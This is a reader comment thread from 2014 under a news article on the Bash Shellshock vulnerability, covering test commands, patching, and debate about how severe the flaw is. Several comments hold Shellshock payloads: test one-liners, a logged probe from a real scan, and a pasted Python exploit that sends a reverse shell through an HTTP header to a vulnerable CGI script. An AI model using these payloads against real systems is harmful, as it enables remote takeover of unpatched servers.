back to article Hackers thrash Bash Shellshock bug: World races to cover hole

Sysadmins and users have been urged to patch the severe Shellshock vulnerability in Bash on Linux and Unix systems – as hackers ruthlessly exploit the flaw to compromise or crash computers. But as "millions" of servers, PCs and devices lay vulnerable or are being updated, it's emerged the fix is incomplete. The flaw affects …

  1. Andy Non Silver badge

    How to check?

    I'm a Linux newbie, having switched from Windows to Kubuntu very recently. How do I check if I have bash on this computer (as opposed to dash... or both). All I know is I can do stuff from the command line via Konsole but don't know how to check for bash or versions of it.

    1. Destroy All Monsters Silver badge

      Re: How to check?

      Simples run this in your shell:

      env x='() { :;}; echo OOPS' bash -c /bin/true

      Check whether "/bin/bash" exists:

      stat /bin/bash ; find / -name bash -type f

      Detect version:

      /bin/bash --version

      1. Andy Non Silver badge

        Re: How to check?

        Thanks. :-)

        env x='() { :;}; echo OOPS' bash -c /bin/true

        Gave:

        bash: warning: x: ignoring function definition attempt

        bash: error importing function definition for `x'

        Presumably that is good?

        stat /bin/bash ; find / -name bash -type f

        Gave:

        File: ‘/bin/bash’

        Size: 986672 Blocks: 1928 IO Block: 4096 regular file

        e.t.c.

        /bin/bash --version

        Gave:

        GNU bash, version 4.3.11(1)-release (i686-pc-linux-gnu)

        Copyright (C) 2013 Free Software Foundation, Inc.

        License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

        This is free software; you are free to change and redistribute it.

        There is NO WARRANTY, to the extent permitted by law.

        1. Destroy All Monsters Silver badge
          Pint

          Re: How to check?

          Presumably that is good?

          Yes, you are good.

          GNU bash, version 4.3.11(1)-release (i686-pc-linux-gnu)

          Further along than on Fedora 20, I just arrived at 4.2.47(1).

        2. El Andy

          Re: How to check?

          You're less vulnerable, but you are still vulnerable. There is no version of bash which has been entirely patched against this issue so just having it there means you are potentially exposed.

          1. theylie

            Re: How to check?

            debian is patched I asssure you

          2. Jim 59

            Re: How to check?

            Ret Hat has released the second Bash patch in as many days. Just installed it here. Now Ormandy's test fails:

            $ env X='() { (a)=>\' sh -c "echo date"; cat echo

            date

            cat: echo: No such file or directory

            @Tenable @Register please stop telling everybody that IOT devices are at risk. IOT/embedded devices use Busybox, not Bash, as Tenable must know. If Tenable has discovered any that don't, please say which ones, or point out how Busybox vulnerability if you think there is one. Keep calm and carry on.

        3. bob, mon!

          Re: How to check?

          That's what my Kubuntu Bash shell gave after I upgraded it (in the last couple of days), so you should be safe. If you have automatic updates turned on, then you got the patch fairly quickly.

      2. Anonymous Coward
        Anonymous Coward

        Re: How to check?

        And since when have security holes in Linux been news? It's not like Linux servers being hacked isn't already commonplace.

    2. Mage Silver badge

      Re: How to check?

      I actually have a BASH shell on Windows as well as all my Linux boxes and Laptop!

      Edit:

      No, it's not actually BASH on either

    3. Anonymous Coward
      Anonymous Coward

      Re: How to check?

      Kubuntu doesn't use bash IIRC, it uses DASH instead which is not affected.

      1. Adam 1

        Re: How to check?

        BTW, I would usually recommend against taking any BASH advice from someone called rm -rf / (although his advice is correct in this instance ;p)

        1. (AMPC) Anonymous and mostly paranoid coward
          Linux

          Re: How to check?

          Wasn't that the BOFH's original handle?

    4. theylie

      Re: How to check?

      apt-get update , apt-get upgrade, its patch just update you box

    5. Anonymous Coward
      Anonymous Coward

      Re: How to check?

      It's really easy to check if you're exposed Just ask yourself if you fell for all the crap about unix and open source being more secure.

      If yes, yeah you have to worry.

    6. Anonymous Coward
      Anonymous Coward

      Re: How to check?

      Thank god we got rid of our few remaining legacy systems and moved all our Linux boxes to Windows Server 2012 R2 after the recent OpenSSL mess.

      1. Anonymous Coward
        Anonymous Coward

        Re: How to check?

        "Thank god we got rid of our few remaining legacy systems and moved all our Linux boxes to Windows Server 2012 R2 after the recent OpenSSL mess."

        Yeah , well done you. Now you only have to worry about this teeny tiny list of exploits for WS2012:

        http://www.cvedetails.com/vulnerability-list/vendor_id-26/product_id-23546/year-2013/Microsoft-Windows-Server-2012.html

        I'm spotting some severity 10s there and quite a few 9's.

      2. Anonymous Coward
        Anonymous Coward

        Re: How to check?

        Don't Windows Servers use BASH?

        Not feeling so smug now, eh?

        1. Michael Wojcik Silver badge

          Re: How to check?

          Don't Windows Servers use BASH?

          It's "bash", not "BASH". Yes, it's a partial acronym, but the "H" isn't an initial, and it's conventionally written in lower case.

          And I've never seen a version of Windows that shipped with bash. There are bash ports for Windows, of course, such as the ones available with Cygwin and MKS. Microsoft used to have a collection of UNIX shells and utilities for Windows (Windows Services for UNIX - I don't remember offhand if it's still available), but it supplied the Bourne shell and ksh (and maybe csh), not bash.

          My (development) Windows boxes have bash, because I have Cygwin installed. And it's vulnerable; you can even trivially demonstrate it by invoking bash from a Windows cmd shell session:

          C:\>set x=() { :;}; echo Vulnerable

          C:\>bash

          Vulnerable

          xxx@xxxxxx /cygdrive/c

          $

          Of course these machines don't have any listening processes that invoke bash, and they're behind a NATing firewall. But I'll be updating them shortly anyway.

          (Dear Reg: Would you please fucking fix the formatting of preformatted text already? People have been asking for this for years now.)

        2. h4rm0ny

          Re: How to check?

          >>"Don't Windows Servers use BASH? Not feeling so smug now, eh?"

          Not sure if you're just really bad at over-elaborate sarcasm, or thick as a pig. I'm leaning toward the latter.

    7. Jim 59

      Re: How to check?

      If you are running an internet facing Apache web server, check the logs for strings such as (). Eg. apart from Graham's scan yesterday, one of my servers was probed this morning from an IP address somewhere in the AWS in Thailand:

      $grep \(\) access.log

      54.251.83.67 - - [26/Sep/2014:06:10:55 +0100] "GET / HTTP/1.1" 403 466 "-" "() { :;}; /bin/bash -c \"echo testing9123123\"; /bin/uname -a"

      Thanks to El Reg, the system was already patched.

  2. Anonymous Coward
    Anonymous Coward

    Eyes on the code? Not.

    This episode isn't exactly a good advert for the thinking that open source code is more secure because there's plenty of people looking at the source code.

    This seems to have been in Bash for, what, 23 years? That's 23 years in which no one has actually gone and looked for flaws like this. Might as well have been close source for all the difference it'd make.

    1. Destroy All Monsters Silver badge

      Re: Eyes on the code? Not.

      It's just fake history inserted by the Matrix to test us.

    2. Voland's right hand Silver badge

      Re: Eyes on the code? Not.

      Eyes are on code, but elsewhere.

      Shell of any form is executed as standard by various Unix processes only if you invoke system(). That is the first think to check for during audits and it has been audited out and replaced by various safe pipe and fork+exec tachinques in 99.9% of the software.

      Further to this, bash has been identified as too complex to audit properly by the debian project (and from there by Ubuntu) long ago and it was one of the decisions on why it is not the default root shell and is strictly prohibited for use in any shell scripts which are part of the core system. In addition to that everyone and their dog cleanses environment like there is no tomorrow because of previous bugs dynamic loaders, locale, etc.

      So frankly, this is blown out of proportion. Sure, some CGIs written by an idiot without a clue somewhere will be vulnerable. However if they are vulnerable to this, they will be vulnerable to a gazillion of other things.

      1. Destroy All Monsters Silver badge
        Megaphone

        Re: Eyes on the code? Not.

        So frankly, this is blown out of proportion.

        Directly from pastebin. Finally a good use for the megaphone icon that is unrelated to Israel.

        And El Reg, still no code tags that actually preserve whitespace? Shame.

        # CVE-2014-6271 cgi-bin reverse shell

        import httplib,urllib,sys

        if (len(sys.argv)<4):

        print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]

        print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]

        exit(0)

        conn = httplib.HTTPConnection(sys.argv[1])

        reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]

        headers = {"Content-type": "application/x-www-form-urlencoded", "test":reverse_shell }

        conn.request("GET",sys.argv[2],headers=headers)

        res = conn.getresponse(); print res.status, res.reason ; data = res.read() ; print data

      2. Destroy All Monsters Silver badge
        Paris Hilton

        Re: Eyes on the code? Not.

        bash too complex and it was one of the decisions on why it is not the default root shell and is strictly prohibited for use in any shell scripts which are part of the core system

        I don't get this rationale, which seems appropriate to setuid programs but not to shells. Otherwise the perl interpreter would be right out, too.

        A wild root shell running commands sourced from random system users sounds adventurous at the best of times, whether it is bash or the best-audited minimalistic shell ever. If you execute "rm -rf" it's relatively unimportant what runs it.

        Note that generally you don't even need the shell, you just need to run the process, like "logrotate" vs. "bash -c logrotate", but that's just by-the-by.

      3. SimonMatthews

        Re: Eyes on the code? Not.

        "So frankly, this is blown out of proportion. Sure, some CGIs written by an idiot without a clue somewhere will be vulnerable. However if they are vulnerable to this, they will be vulnerable to a gazillion of other things."

        According to what I have read, you are underplaying the issue. The problem is that the shell can be compromised by environment variables passed to it. In a CGI situation, environment variables such as "USER_AGENT" are passed to the CGI program and bash can be compromised using this. Thus, even a well-written CGI program can result in a compromise.

        1. Anonymous Coward
          Anonymous Coward

          Re: Eyes on the code? Not.

          I tend to agree that it has been blown out of proportion. I haven't worked anywhere using CGI since about 2001.

          I haven't worked anywhere where the world and his wife are allowed to ssh to a production server either, so that limits access to the admin who's got enough access to do what he wants anyway and the release team.

          Looking around we haven't found anything else which uses bash and is accessible from the outside world. We also internally limit who can access DHCP servers, for example, so only the administrators could do anything which invokes bash.

          So, if you still use CGI then you'd better take care, or if you've got things like DHCP configuration exposed to the outside. For the vast majority I don't see this as a huge problem, more something to patch just to be sure.

          1. Michael Wojcik Silver badge

            Re: Eyes on the code? Not.

            I haven't worked anywhere using CGI since about 2001.

            Hurrah for you. How many zillions of cheap web-server providers out there are running cPanel? That's a big ol' bot army waiting to happen.

        2. Alan Brown Silver badge

          Re: Eyes on the code? Not.

          The question is why CGIs would be running bash instead of a much more restrictive shell.

          Or why CGI is used at all. It's always been regarded as ragingly insecure.

        3. oldcoder

          Re: Eyes on the code? Not.

          If that "well-written CGI" uses ANY shell then it is by definition, not well-written.

      4. theylie

        Re: Eyes on the code? Not.

        Another hyped event , to kill free software, that is where all this crap is headed

    3. Anonymous Coward
      Anonymous Coward

      Re: Eyes on the code? Not.

      This episode isn't exactly a good advert for the thinking that open source code is more secure because there's plenty of people looking at the source code.

      You need to consider how it's been handled, compared to how it would have been with closed-source.

      eg, My computer was automatically patched days before the bug was publicly known.

      Closed source:

      - There'd be an announcement if you're lucky - bugs like this are bad press.

      - Full details wouldn't be disclosed (only the motivated (ie, crackers) would smell the smoke and investigate further).

      - Then you'd have to wait days/weeks for the patch.

      - Does your vendor even provide automatic updates? Did you disable them?

      You're relying on a single entity. Most of us here work for closed-source companies, and we all know exactly how they tick.

    4. Anonymous Coward
      Anonymous Coward

      @AC

      "This episode isn't exactly a good advert for the thinking that open source code is more secure because there's plenty of people looking at the source code.".

      Actually I think the whole thing is a little more nuanced than what most people seem to make off it in the first place. IMO only a few people (zealots or strong advocates I guess) actually use this argument as some weird "fact" of superiority. But the thing is that the whole "quantity makes quality" argument is flawed by design anyway, there are plenty of cases where this doesn't or even cannot work.

      Heck, there have already been way too many examples where the whole analogy failed. Take for example the (Debian) OpenSSL disaster which cause could even be backtracked to made changes in its engine itself (by the Debian package maintainer I might add).

      And even that went on for years until it finally got out into the open.

      On the other hand: many hands do tend to give out better security though in my opinion.

      Think about it: if the original developer, for whatever reason, wouldn't be able to come up with a fix then I'm pretty sure that there are dozens, maybe even hundreds, of developers out there who would be perfectly willing and capable to fix this.

      Personally I think that's where people tend to go wrong with the whole "many eyes" argument. Even many eyes can overlook the obvious. Many hands otoh....

    5. Bump in the night

      Re: Eyes on the code? Not.

      Oh, but isn't it "Built From the Ground Up" to be secure? Hmm, don't hear that claim either anymore.

      Well will somebody please tell me what the hell is secure? Oh and don't tell me nothing. I don't want to hear nothing, I prefer endless debates on what is and isn't.

      1. asdf

        Re: Eyes on the code? Not.

        >Well will somebody please tell me what the hell is secure?

        I am sure somebody can give a formal Turing like definition but personally I define it with three letters, VMS. Its too bad DEC and all the ass clowns that followed let it wither on the vine.

        1. Michael Wojcik Silver badge

          Re: Eyes on the code? Not.

          >Well will somebody please tell me what the hell is secure?

          I am sure somebody can give a formal Turing like definition

          No one can provide a formal definition of "secure", because it's meaningless outside context. Specifically, it can only be defined as a sufficient (for some purpose) value of some metric (probability of compromise, attacker's work factor, average loss, etc) under a particular threat model."Secure" in the abstract means nothing.

      2. This post has been deleted by its author

    6. theylie

      Re: Eyes on the code? Not.

      and running most of the internet quite well most of that time, how could that be? google "Nimda"

    7. Nextweek

      Re: Eyes on the code? Not.

      Actually this bug is an awesome demonstration of how bad closed ecosystems are. The open systems that are running on Linux (RedHat, ubuntu, etc) are all patched and updated.

      HOWEVER! OSX which is also affected is still waiting. If I owned an Apple server I'd be screaming right now.

      Embedded devices with closed eco systems are stuffed. Basically, you can kick back and relax if you are use open source in the manner it was intended to be used.

    8. NogginTheNog
      Thumb Up

      Re: Eyes on the code? Not.

      In defence of OS though (and I don't always do that, especially after Heartbleed), I checked my CentOS boxes yesterday morning. They were vulnerable. I ran "yum -y update" on them. They were then no longer vulnerable.

      I'd love to see MS get a fix out THAT fast!

      1. Anonymous Coward
        Anonymous Coward

        Re: Eyes on the code? Not.

        I installed Linux Mint on my wife's laptop about 4 months ago as Vista was extremely sluggish. First time I'd ever installed Linux and found it simple enough to install and worked well.

        But i just checked, and the terminal on it seems to be vulnerable to this exploit from what I can gather running the test code on it.

        There is nothing on the machine indicating I need to install any fix. In fact, to be honest, I don't know what to do to fix it - it's the first and only time I've installed Linux. I've gone to package manager, but nothing screaming for me to update anything there.

        So what should I be looking for? On Windows, there would be an update sitting in the system tray. I am assuming something like Mint which seems very easy to install and ideal for former XP or Vista users must make this easy?

        1. asdf

          Re: Eyes on the code? Not.

          Going to get downvoted hard and being a former big fan of Mint Linux its Achille's heel especially with LMDE is security updates. Clem may argue otherwise but its true. Still for a bug this big you are probably best opening a terminal and typing sudo apt-get update && sudo apt-get dist-upgrade which should pull down the bash fix. Generally you want to use Mint's update manager because those commands have the possibility to break software on the system but in my experience its very very rare it does. In the update manager I recommend setting it so that security updates ignore the 1 through 5 break system and get installed right away. Forgot the setting for doing this but google is your friend.

        2. Kiwi
          Linux

          Re: Eyes on the code? Not.

          There is nothing on the machine indicating I need to install any fix. In fact, to be honest, I don't know what to do to fix it - it's the first and only time I've installed Linux. I've gone to package manager, but nothing screaming for me to update anything there.

          Bottom right of the screen, where the status bar and clock would be in Windows - there should be a blue "shield" ICON with an exclamation mark on it - some sort of shield icon anyway from memory. Click on that and follow the instructions.

          Alternatively, click on your equivalent to a "start" button, type in "update manager", and follow the prompts.

          HTH

    9. Jim 59

      Re: Eyes on the code? Not.

      Nah. No hacker worth his salt should waste time over this now. He will be better off looking for flaws that are NOT currently being worked on, discussed and updated by a fair chunk of the planet's IT experts. Shellshock's cover is "blown". Thanks partly to The Reg. The black hats may catch a few internet facing Raspberry Pi's, but to get a commercial server, they would have to work so fast the typing will give them repetitive strain injury typing.

      This is a result of the "open" approach.

  3. Anonymous Coward
    Anonymous Coward

    CentOS 4

    I have patched most of my servers but one is still running CentOS 4.7, which went out of support in 2012. Was going to close it down after Christmas, but meanwhile it sits out there ready to host a worm. Let's hope somebody comes up with a patch or workaround for the older machines.

    To make things worse this old one still runs Cpanel, which enables CGI :(

    1. BlinkenLights

      Re: CentOS 4

      I compiled and installed the latest version on RH8.0, so no reason it would not work on CentOS 4...

      https://ftp.gnu.org/gnu/bash/

      Download 4.3 and apply all 25 patches. Patch 25 is the fix.

      1. Anonymous Coward
        Anonymous Coward

        Re: CentOS 4

        Or download the source RPM from the CentOS 5 updates repo, unpack using rpm, run rpmbuild, install the rpm binary package with yum, and voila, you have backported and installed a package to CentOS 4. It really is that simple.

        1. Michael Wojcik Silver badge

          Re: CentOS 4

          Or download the source RPM from the CentOS 5 updates repo, unpack using rpm, run rpmbuild, install the rpm binary package with yum, and voila, you have backported and installed a package to CentOS 4. It really is that simple.

          Can I point out that really is not, in fact, very simple?

          Don't get me wrong. It's not a terribly complex process - and downloading the source, then running "./configure && make install" is even simpler (though you don't get the benefit of package tracking). But I've been a UNIX developer since '87, and been using Linux since the mid-90s; I build and install OSS frequently (and modify it pretty often); I've used rpm quite a few times and yum several times; and I'd still have to review the man pages to see exactly what options I'd want for those steps.

          And for someone who hasn't used the rpm and yum command-line clients? Who doesn't even know to use them in the first place?

          For this sort of case, we really haven't progressed that far from "find a tarball with archie, FTP it, and see if you can build it".

          Distributions that are still supported and pull updates automatically do make things pretty easy for non-technical users. Outside that envelope, though, even experienced developers who don't regularly mess with package maintenance will have to do some poking around to get things updated.

          (And I'm not claiming any other OS is better, mind you. I've spent many an hour wrangling Windows updates - when Microsoft makes them available at all - and AIX PTFs and HP-UX depots and OS/400 APARs and you name it. The software industry is lousy at fixing its stuff across the board. And so are lots of other industries.)

    2. This post has been deleted by its author

    3. Hans 1

      Re: CentOS 4

      WTF? Troll? Get the source for the latest bash and do:

      ./configure

      make

      sudo make install

      This is the power of opensource, patch any of the oldest unsupported systems.

  4. Brian Miller
    Linux

    FUD whack-a-mole

    This has existed for 23 years, and nobody has ever written a worm using it! Now, doesn't that tell somebody something? Like this might be a little bit overblown? "Oh, I found a Bash exploit. Wait, it doesn't actually work. Moving on to something else to exploit now..."

    Now, what if that supposedly vulnerable server is actually running Bourne shell instead of Bash? Look, ma, no vulnerability! Or maybe the system was set up with some sanitation on the inputs first before the command was sent onwards. I've been seeing people point fingers at Cpanel, but Cpanel folks say that they don't fork around with Bash.

    I have yet to read an article stating that server X was exploited with this bug. And I mean truly exploited, not "oh, it looks that way in a Google search."

    Pwn the server, post the results, let's see if it's verified.

    1. Anonymous Coward
      Anonymous Coward

      Re: FUD whack-a-mole

      Thanks for the clarification that Cpanel is not likely to be a vector :)

      1. theylie

        Re: FUD whack-a-mole

        na it was for Heartbleed when 1000;s of web sites got owned LMAO

    2. Anonymous Coward
      Anonymous Coward

      Re: FUD whack-a-mole

      It has been there for 23 years, but if no one knows about it that would explain why it has never been used. Or perhaps a few learned about it long ago but kept it a secret so they could use it for their own purposes (hi, NSA!)

      1. Destroy All Monsters Silver badge
        Trollface

        Re: FUD whack-a-mole

        Now, doesn't that tell somebody something? Like this might be a little bit overblown?

        Sounds like the "dodging the bullet" fallacy, also seen with fag smoke, huge meteors, booster O-rings, influenza mutations, keynesian economics, vacuum phase changes and mother-in-laws.

        1. Brian Miller
          Holmes

          Re: FUD whack-a-mole

          You know what else is a "vulnerability?" Running code on a processor. Hello, if a system lets a person anonymously upload and then execute code, that's a vulnerability, too. But we kind of guard against that, of course. Yes, we do. Mostly. Kind of. Now and again. Maybe. Nothing remotely like this has ever happened before now. Really.

          Yeah, I know, this could possibly be opened up by someone who hasn't a clue as to what they're doing. Maybe "developers" like the Obamacare site contractors, for example. But you can't totally save someone from themselves. It just can't be done. They will always find a way to fail.

          And I do want to see a site, not just some test code, but a normal commercial site, pwned by this bug. There's been so many instances of pwnership, this shouldn't be a hard one.

          1. El Andy

            Re: FUD whack-a-mole

            "And I do want to see a site, not just some test code, but a normal commercial site, pwned by this bug."

            You do realise this affects more than just websites, right? And can be used in far more subtle ways than straight up defacing, including turning devices into a zombie botnet.

            1. Brian Miller

              Re: FUD whack-a-mole

              But the device zombie botnet has already been done! And without using this "vulnerability," last year. IOT devices have crap security in the first place, and most, if not all, aren't running Bash, but Busybox or equivalent. (Are any of them running Bash?)

              Still no word of JUST ONE commercial site (or device!) being pwned by this one. Sure, there's a search on for a server that's vulnerable to this, but so far, nothing.

              (Yeah, sure, my IOT light bulb has enough space for Bash. Right...)

              Really, anybody notice how all of this is getting inflated? "Oh, maybe the web server is running DHCP. Or a DHCP server could be uploaded." And on and on. How many systems have been pwned by SSH bugs? I worked in a company where a sysadmin opened an unpatched Linux box to the world, and somebody in Germany promptly walked right in through the SSH server.

              So, no, I'm not banking on this being as big as people are making it out to be. For this to work, somebody has to explicitly invoke Bash to run executables, not merely have a cgi-bin directory. The system has to be set up with no sanitation of the inputs. All in all, a system has to be set up really poorly for it to be affected.

              1. Tim Brown 1

                Re: FUD whack-a-mole

                For people that are claiming that this isn't a big deal, have a read of the link below where someone has actually run a test across a large number of web servers. He's found 3000 vulnerable systems already. Now all he did was get these machines to ping back to his test server, but he could easily have done something much worse.

                http://blog.erratasec.com/2014/09/bash-shellshock-bug-is-wormable.html

                1. Destroy All Monsters Silver badge
                  Trollface

                  Re: FUD whack-a-mole

                  From that site: Someone is using masscan to deliver malware. They'll likely have compromised most of the system I've found by tomorrow morning. If they using different URLs and fix the Host field, they'll get tons more.

                  This is Blood Music in my ears!

                2. theylie

                  Re: FUD whack-a-mole

                  right but nothing happened

              2. Adam 1

                Re: FUD whack-a-mole

                >Still no word of JUST ONE commercial site (or device!) being pwned by this one

                How do you propose to validate that this bug was the source of the mentioned pwnage? It would bypass the logging. Your server could be pwned without you even knowing. And Apache cgi-bins are just one vector we know of.

    3. Anonymous Coward
      Anonymous Coward

      Re: FUD whack-a-mole

      "This has existed for 23 years, and nobody has ever written a worm using it! Now, doesn't that tell somebody something?"

      Presumably the same applies to Windows XP?

  5. M. Poolman

    It's getting worse

    According to the BBC R4 news it's not just a vulnerability - it's a virus, and judging by the report only slightly less serious than Ebola.

    1. Martin-73 Silver badge
      Joke

      Re: It's getting worse

      Right, I'm moving my computer away from the other computers, if it DOES get this computer ebola, it won't spit body fluids over the others.

      Idiotic BBC

    2. BongoJoe

      Re: It's getting worse

      No doubt that the editorial team consultated Stephen Fry for technical guidance...

      1. Anonymous Coward
        Anonymous Coward

        Re: It's getting worse

        No need for such consultations; more damage can be sown by letting large numbers of 'helpful' neckbeards fall over themselves issuing precipitate prescriptions that don't actually work.

      2. iEgoPad

        Re: It's getting worse

        "No doubt that the editorial team consultated Stephen Fry for technical guidance..."

        And he gave the all-clear...

        Every time someone visits a web page, a new web server is created. And because it's new, it's immune. So over time this virus heals itself and we won't run out of safe web.

    3. Andy Roid McUser

      Re: It's getting worse

      Wait.... Servers can get Ebola now ??? Man, when did this happen. I've been busy the last couple of days, doing actual work.. when I pop my head up for ten mins the entire internet is getting splatted with an STD and Ebola has made the LabMonkey-human-laptop jump.

      Thinking about the devices within my remit that have /bin/bash and a web server attached being in the tens of lots of numbers,...It's probably too late and as we'll all be dead by the weekend anyway, I'm going to get very very pissed.

      Cheers.

      1. M. Poolman

        In the interest of fairness

        I should make clear that the BBC report I heard didn't actually mention Ebola, but the breathless excitement with which they described the (potential) impact of the "shellshock virus" might lead one to think that the two were comparable.

        1. Destroy All Monsters Silver badge
          Trollface

          Re: In the interest of fairness

          As long as your machine is of beige colour, local sanitary conditions should make this shellshock virus of no consequence to you.

  6. Hetz Ben Hamo

    Please, El Reg - routers??? seriously? most of them, if they are Linux based, are using Busybox, which is **NOT** vulnerable to this exploit!

    1. sabroni Silver badge
      Happy

      re: most of them, if they are Linux based, are using Busybox

      Oh fine, as long as most routers are secure I won't worry. That's standard security practice isn't it? You know, just do the best you can, a few holes here and there probably don't matter....

  7. DainB Bronze badge

    If you do not sanitize CGI input

    it's pretty much expected behavior. Sorry, fail to see how this is a major bug.

    And saying that it's bigger than heartbleed ? Really ? How come ?

    You had nothing to do do be owned with heartbleed, with this you need to improperly write code listening on the Internet to be owned and guess what ? Improperly written code on the Internet will get you owned with or without bash bug.

    1. Synonymous Howard

      Re: If you do not sanitize CGI input

      I believe one of the attack vectors is that you could pass function definitions TO a cgi-bin script FROM the web server in its runtime environment (as per RFC3875) ... e.g. crafting HTTP headers to include dodgy bash function definitions. These headers are passed by, say, Apache, to the environment when cgi-bin scripts are initially invoked ... so your script is running with a poisoned environment with extra functions defined.

      It's a big enough issue that I've spent the afternoon put mitigations in place on the internet facing web servers I look after 8-(

      1. DainB Bronze badge

        Re: If you do not sanitize CGI input

        "could pass function definitions TO a cgi-bin script FROM the web server in its runtime environment (as per RFC3875) ... e.g. crafting HTTP headers to include dodgy bash function definitions."

        Really ? http servers now accept scripts execution in headers ? That's a novelty.

        Even if this was true what does it have to do with bash ?

        Yes, it is remotely exploitable and yes it is only exploitable if CGI script writer did not bother to check input for garbage. Well, boohoo, who's fault is it ?

        1. John Robson Silver badge

          Re: If you do not sanitize CGI input

          "Yes, it is remotely exploitable and yes it is only exploitable if CGI script writer did not bother to check input for garbage. Well, boohoo, who's fault is it ?"

          By the time the CGI script is run the environment has already been set up and the exploit code has already been run - you're dead before your script starts, so it can't do anything to protect against this.

          The CGI environment builder could do something, although I've not heard of any efforts to fix that yet (I know it's virtually obsolete, but still)

          1. DainB Bronze badge

            Re: If you do not sanitize CGI input

            "By the time the CGI script is run the environment has already been set up and the exploit code has already been run - you're dead before your script starts, so it can't do anything to protect against this."

            Yes. It is magically set by some unknown fairies, no need to parse any input whatsoever.

            Gimme a break.

            1. John G Imrie

              Re: If you do not sanitize CGI input

              The environment is set by the web server. If you give it a url like http://www.example.com/test.cgi?(){:;}; touch $DOCROOT/gotyou and test.cgi is a bash script then you are powned befor your script runs. if your script calls out to any other program that runs in a shell and you haven't explicitly tested for (){ in any of your environment variables then you are powned.

              The reason is the the web server puts (){:;}; touch $DOCROOT/gotyou into the QURTY_STRING environment variable which then gets parsed by bash

            2. Peter Gathercole Silver badge

              Re: If you do not sanitize CGI input @DainB

              I was initially sceptical, but looking into the problem, it appears that Apache and other web facing services actually do accept some information and then passes into CGI-bin scripts as environment variables. Variables such as REMOTE_IDENT and REMOTE_USER are examples documented in rfc 3875.

              This is where the problem lies. If Apache, or whatever, does not do any checking (and why should it, it would have to second-guess what is meant to be passed into CGI-bin programs), and allows the variable to be set up in the way described, and then for any reason spawns a bash, the extra code will get executed as part of the bash setup before any script starts running.

              It is not that the function gets set up and can be called, it's that the extra code appended to the function definition gets executed at the time bash starts.

              Look again at the proof of the bug at the shell level. I set the following environment variable up. Note this is just a variable, not a function at this time, and I can actually be running any shell (csh would need a setenv command to set it up).

              never_run='() { : ; } ; echo "Vulnerable"'

              This sets up an environment variable in the same pattern as bash uses to allow exported functions to work. When a bash starts, it effectively evals all of the environment variables in the new shell which will either set a variable up in the new shell, or will in this case define a function 'never_run' which would execute a null shell command and then exit. What the function does is completely irrelevant. What is important is that while the new shell evals the string to set the function up, it then also runs the code after the second semicolon. It does this immediately, not when the function is called. So in the example above, if I export the new variable

              export never_run

              and then start a bash, any bash, it will execute the code. So,

              $ bash -c date

              Vulnerable

              Fri Sep 26 11:03:57 BST 2014

              runs it, as does just entering a new interactive shell with bash by itself. Note that I've never run the function it's set up. This is where the danger lies. I'm sure that when bash was written, it seemed like a elegant way of exporting functions to subshells. It is clever, but obviously not thought through.

              Apache is a limited examples, as it should run as a non-root user, and if set up properly, will run in a chrooted environment (not that this will prevent all information leakage). But the same exploit may be available in any poorly written service that passes user-specified data on to another command through the environment variables.

              1. Nick Ryan Silver badge

                Re: If you do not sanitize CGI input @DainB

                Thanks for the sane explanation and example.

        2. Michael Wojcik Silver badge

          Re: If you do not sanitize CGI input

          "could pass function definitions TO a cgi-bin script FROM the web server in its runtime environment (as per RFC3875) ... e.g. crafting HTTP headers to include dodgy bash function definitions."

          Really ? http servers now accept scripts execution in headers ? That's a novelty.

          Perhaps you should withhold your sarcasm until you learn how the exploit works.

          CGI/1.1 requires that the server set various environment variables before executing the target program. Those variables are set from data supplied in the request message, including request headers.

          So those variables will be set in the environment of the target process, and of any of its children (modulo changes to the environment made by the parent process or any intermediary processes).

          If the target process, or any of its descendants, is a vulnerable version of bash, and any of its environment variables have values that exercise the vulnerability, then those bash instances will execute the text in the value of the variable that follows what (appears to be) the function definition.

          Nothing - not the HTTP server, not the bash instance - has to actually execute the function. Nothing has to refer to the variable. No "scripts execution in headers" is happening. The problem is that bash will execute arbitrary code from its environment, and HTTP servers that provide CGI access will put attacker-supplied data in the child process's environment. If the child process, or one of its descendants, is bash, then the system is vulnerable.

  8. asdf

    OpenBSD for the win

    One edge to OpenBSD to staying true to its real UNIX roots is it doesn't include bash in the base system. If it did they would have probably caught this during a code audit. As an added bonus OpenBSD also doesn't include the tightly coupled cancerous hairball that is systemd and freedesktop like most Linux distros. I love my cinnamon DE but it may be time to go back to basics. Red Hat is turning Linux into Windows and a pig that walks like a human (ala Animal Farm) but I digress.

    1. Destroy All Monsters Silver badge
      Holmes

      Re: OpenBSD for the win

      Because "real UNIX roots" == "doesn't include bash"

      The fanboism is strong in this one. Do you have an AT&T logo on your wall? Moved beyond C yet? What's that? Glasstrons? Suits you, sir!

      1. Anonymous Coward
        Happy

        Re: OpenBSD for the win

        asdf does have a bit of a point. Theo is fairly rabid about security issues, though it's a tough choice between OpenBSD, Linus, and the systemd crowd.

        1. Ole Juul

          Re: OpenBSD for the win

          I note too that the article keeps talking about UNIX as if it is the same as Linux. We all know that Linux is "unix like" but in this particular situation it is distinctly different. Last I saw, tcsh was the more popular shell in the UNIX camp.

          1. Anonymous Coward
            Anonymous Coward

            Re: OpenBSD for the win

            csh and its re-implementation are Sun-originated heresies. Korn shell and POSIX compliant shells are the true UNIX shells.

            1. Michael Wojcik Silver badge

              Re: OpenBSD for the win

              csh and its re-implementation are Sun-originated heresies

              Bill Joy wrote csh at UCB. It didn't originate at Sun. If you're going to post pointless religious flames, you could at least get your facts straight.

          2. iEgoPad

            Re: OpenBSD for the win

            "I note too that the article keeps talking about UNIX as if it is the same as Linux"

            They'll be calling vacuum cleaners Hoovers next!

            1. Peter Gathercole Silver badge

              Re: OpenBSD for the win @iEgoPad

              "They'll be calling vacuum cleaners Hoovers next!"

              That's the most stupid thing I've heard on this thread. Linux is not UNIX. Linux is not even POSIX compliant in almost all of it's various distros. There ain't no way that you can call Linux UNIX, even if they look superficially similar.

              Oh, and by the way, I'm an AIX zealot, and am feeling a bit smug. AIX was derived from AT&T code, and I use ksh as my default shell, and will not allow any bash scripts to be deployed to action service requests on any system I am in control of!

              1. Destroy All Monsters Silver badge
                Trollface

                Re: OpenBSD for the win @iEgoPad

                Oh, and by the way, I'm an AIX zealot, and am feeling a bit smug.

                Ah, that was the system in which any process could read the environment variables of any other process, right? It's true it has been some time...

                AIX was derived from AT&T code

